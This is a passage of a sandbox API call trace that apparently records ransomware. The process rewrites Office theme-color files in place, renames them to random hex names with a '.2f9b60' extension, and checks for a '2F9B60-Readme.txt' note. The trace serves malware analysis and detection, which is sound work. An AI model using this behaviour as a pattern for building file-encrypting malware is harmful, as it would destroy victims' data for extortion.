Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x381d3a3d [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x6e2fa809 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x4dc111d2 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x555c1674 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x2835dad2 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x30c17d48 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x10c8e5a0 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x1caddcc1 [0105.434] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x2bc2a8ae [0105.445] ReadFile (in: hFile=0x172c, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x289cf930, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x289cf930*=0x3c5, lpOverlapped=0x0) returned 1 [0105.445] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.445] WriteFile (in: hFile=0x172c, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x289cf934, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x289cf934*=0x3c5, lpOverlapped=0x0) returned 1 [0105.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0105.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0105.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0105.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0105.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0105.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0105.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f630 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0105.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ee70 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0105.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0105.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0105.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x167ca0 [0105.539] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.539] WriteFile (in: hFile=0x172c, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x289cfa50, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x289cfa50*=0x10e, lpOverlapped=0x0) returned 1 [0105.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0105.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0105.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62f0) returned 1 [0105.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a62f0 [0105.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0105.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0105.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0105.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0105.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97760 [0105.579] sprintf (in: _Dest=0x1cd97760, _Format="%c%c" | out: _Dest="db") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97762, _Format="%c%c" | out: _Dest="22") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97764, _Format="%c%c" | out: _Dest="d5") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97766, _Format="%c%c" | out: _Dest="c4") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97768, _Format="%c%c" | out: _Dest="44") returned 2 [0105.579] sprintf (in: _Dest=0x1cd9776a, _Format="%c%c" | out: _Dest="c8") returned 2 [0105.579] sprintf (in: _Dest=0x1cd9776c, _Format="%c%c" | out: _Dest="8c") returned 2 [0105.579] sprintf (in: _Dest=0x1cd9776e, _Format="%c%c" | out: _Dest="d4") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97770, _Format="%c%c" | out: _Dest="b2") returned 2 [0105.579] sprintf (in: _Dest=0x1cd97772, _Format="%c%c" | out: _Dest="d0") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97774, _Format="%c%c" | out: _Dest="dc") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97776, _Format="%c%c" | out: _Dest="e3") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97778, _Format="%c%c" | out: _Dest="54") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9777a, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9777c, _Format="%c%c" | out: _Dest="33") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9777e, _Format="%c%c" | out: _Dest="a3") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97780, _Format="%c%c" | out: _Dest="10") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97782, _Format="%c%c" | out: _Dest="f3") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97784, _Format="%c%c" | out: _Dest="3a") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97786, _Format="%c%c" | out: _Dest="dd") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97788, _Format="%c%c" | out: _Dest="18") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9778a, _Format="%c%c" | out: _Dest="88") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9778c, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.580] sprintf (in: _Dest=0x1cd9778e, _Format="%c%c" | out: _Dest="64") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97790, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97792, _Format="%c%c" | out: _Dest="ab") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97794, _Format="%c%c" | out: _Dest="65") returned 2 [0105.580] sprintf (in: _Dest=0x1cd97796, _Format="%c%c" | out: _Dest="65") returned 2 [0105.580] RtlInitAnsiString (in: DestinationString=0x289cfac8, SourceString="db22d5c444c88cd4b2d0dce354ba33a310f33add18887c64a5ab6565" | out: DestinationString="db22d5c444c88cd4b2d0dce354ba33a310f33add18887c64a5ab6565") [0105.580] RtlAnsiStringToUnicodeString (in: DestinationString=0x289cfa98, SourceString="db22d5c444c88cd4b2d0dce354ba33a310f33add18887c64a5ab6565", AllocateDestinationString=1 | out: DestinationString="db22d5c444c88cd4b2d0dce354ba33a310f33add18887c64a5ab6565") returned 0x0 [0105.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f010 [0105.581] RtlFreeAnsiString (AnsiString="d") [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62f0) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ee70) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0105.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0105.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6410) returned 1 [0105.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63e0) returned 1 [0105.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64a0) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202794f0 [0105.582] wcscat (in: _Dest=0x202794f0, _Source="db22d5c444c88c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c" [0105.582] wcscat (in: _Dest=0x202794f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c.2f9b60" [0105.582] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c.2f9b60", NtPathName=0x289cfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\db22d5c444c88c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776a10 [0105.582] NtSetInformationFile (FileHandle=0x172c, IoStatusBlock=0x289cfb10, FileInformation=0x1b776a10, Length=0xce, FileInformationClass=0xa) returned 0x0 [0105.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776a10) returned 1 [0105.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0105.648] NtQueryInformationFile (in: FileHandle=0x172c, IoStatusBlock=0x289cfad8, FileInformation=0x289cfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x289cfad8, FileInformation=0x289cfae8) returned 0x0 [0105.648] NtSetInformationFile (FileHandle=0x172c, IoStatusBlock=0x289cfad8, FileInformation=0x289cfae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0105.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0105.668] FlushFileBuffers (hFile=0x172c) returned 1 [0105.678] CloseHandle (hObject=0x172c) returned 1 [0105.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202794f0 [0105.680] wcscpy (in: _Dest=0x202794f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.680] wcscat (in: _Dest=0x202794f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0105.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10d10) returned 1 Thread: id = 610 os_tid = 0x106c [0095.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml")) returned 0x20 [0106.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml", dwFileAttributes=0x20) returned 1 [0106.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c4 [0106.108] GetFileSizeEx (in: hFile=0x15c4, lpFileSize=0x28b9fc60 | out: lpFileSize=0x28b9fc60*=963) returned 1 [0106.108] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.109] ReadFile (in: hFile=0x15c4, lpBuffer=0x28b9fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28b9fc28, lpOverlapped=0x0 | out: lpBuffer=0x28b9fbe0*, lpNumberOfBytesRead=0x28b9fc28*=0x4, lpOverlapped=0x0) returned 1 [0106.123] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0106.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.123] NtQuerySystemTime (in: CurrentTime=0x28b9fb20 | out: CurrentTime=0x28b9fb20*=132462177116098000) returned 0x0 [0106.123] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x4c55deb1 [0106.123] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x685a9288 [0106.123] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x88c6fa4 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x4e17e44f [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x249f7cdc [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x444f226f [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x252ad40a [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0xf0ba089 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x7b7e5c16 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x35985afd [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x71578fc [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x2aa60b83 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x3e42a2a6 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x243f9c7d [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x451f346b [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x563cf8bd [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x350efda [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x61525762 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x7da3ce28 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0xab73186 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x55c7e5a7 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x77f1d9f9 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x1ed389e9 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x2c369cfa [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x4d62e8d8 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x56deedd [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x69b17ffb [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x38899b0c [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x6d327f40 [0106.124] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x10feac31 [0106.125] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x4f961c6c [0106.125] RtlRandomEx (in: Seed=0x28b9fb10 | out: Seed=0x28b9fb10) returned 0x712eb61f [0106.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8640 [0106.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0106.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0106.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0106.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0106.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0106.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f3d170 [0106.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f485a0 [0106.136] ReadFile (in: hFile=0x15c4, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x28b9fb10, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x28b9fb10*=0x3c3, lpOverlapped=0x0) returned 1 [0106.136] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.136] WriteFile (in: hFile=0x15c4, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x28b9fb14, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x28b9fb14*=0x3c3, lpOverlapped=0x0) returned 1 [0106.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0106.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0106.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7920) returned 1 [0106.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0106.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0106.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0106.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0106.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7920 [0106.913] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.913] WriteFile (in: hFile=0x15c4, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x28b9fc30*=0x10a, lpOverlapped=0x0) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867f40 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a61a0 [0107.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a61a0) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a61a0 [0107.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7370 [0107.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7370) returned 1 [0107.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867f40) returned 1 [0107.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0107.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.319] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="8c") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ab") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="1b") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="65") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="43") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="4b") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="30") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="24") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="65") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="71") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="85") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="09") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="d8") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="ef") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="89") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="36") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="58") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="46") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="00") returned 2 [0107.319] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="98") returned 2 [0107.320] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="49") returned 2 [0107.320] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ba") returned 2 [0107.320] RtlInitAnsiString (in: DestinationString=0x28b9fca8, SourceString="8cab1b65434b302465718509f9d8ef89365846f9009849ba" | out: DestinationString="8cab1b65434b302465718509f9d8ef89365846f9009849ba") [0107.320] RtlAnsiStringToUnicodeString (in: DestinationString=0x28b9fc78, SourceString="8cab1b65434b302465718509f9d8ef89365846f9009849ba", AllocateDestinationString=1 | out: DestinationString="8cab1b65434b302465718509f9d8ef89365846f9009849ba") returned 0x0 [0107.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6270 [0107.320] wcscat (in: _Dest=0x20279bb0, _Source="8cab1b65434b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b" [0107.320] wcscat (in: _Dest=0x20279bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b.2f9b60" [0107.320] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b.2f9b60", NtPathName=0x28b9fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cab1b65434b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776cb0 [0107.320] NtSetInformationFile (FileHandle=0x15c4, IoStatusBlock=0x28b9fcf0, FileInformation=0x1b776cb0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0107.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0107.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0107.322] NtQueryInformationFile (in: FileHandle=0x15c4, IoStatusBlock=0x28b9fcb8, FileInformation=0x28b9fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28b9fcb8, FileInformation=0x28b9fcc8) returned 0x0 [0107.322] NtSetInformationFile (FileHandle=0x15c4, IoStatusBlock=0x28b9fcb8, FileInformation=0x28b9fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0107.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6270) returned 1 [0107.324] FlushFileBuffers (hFile=0x15c4) returned 1 [0107.429] CloseHandle (hObject=0x15c4) returned 1 [0107.429] 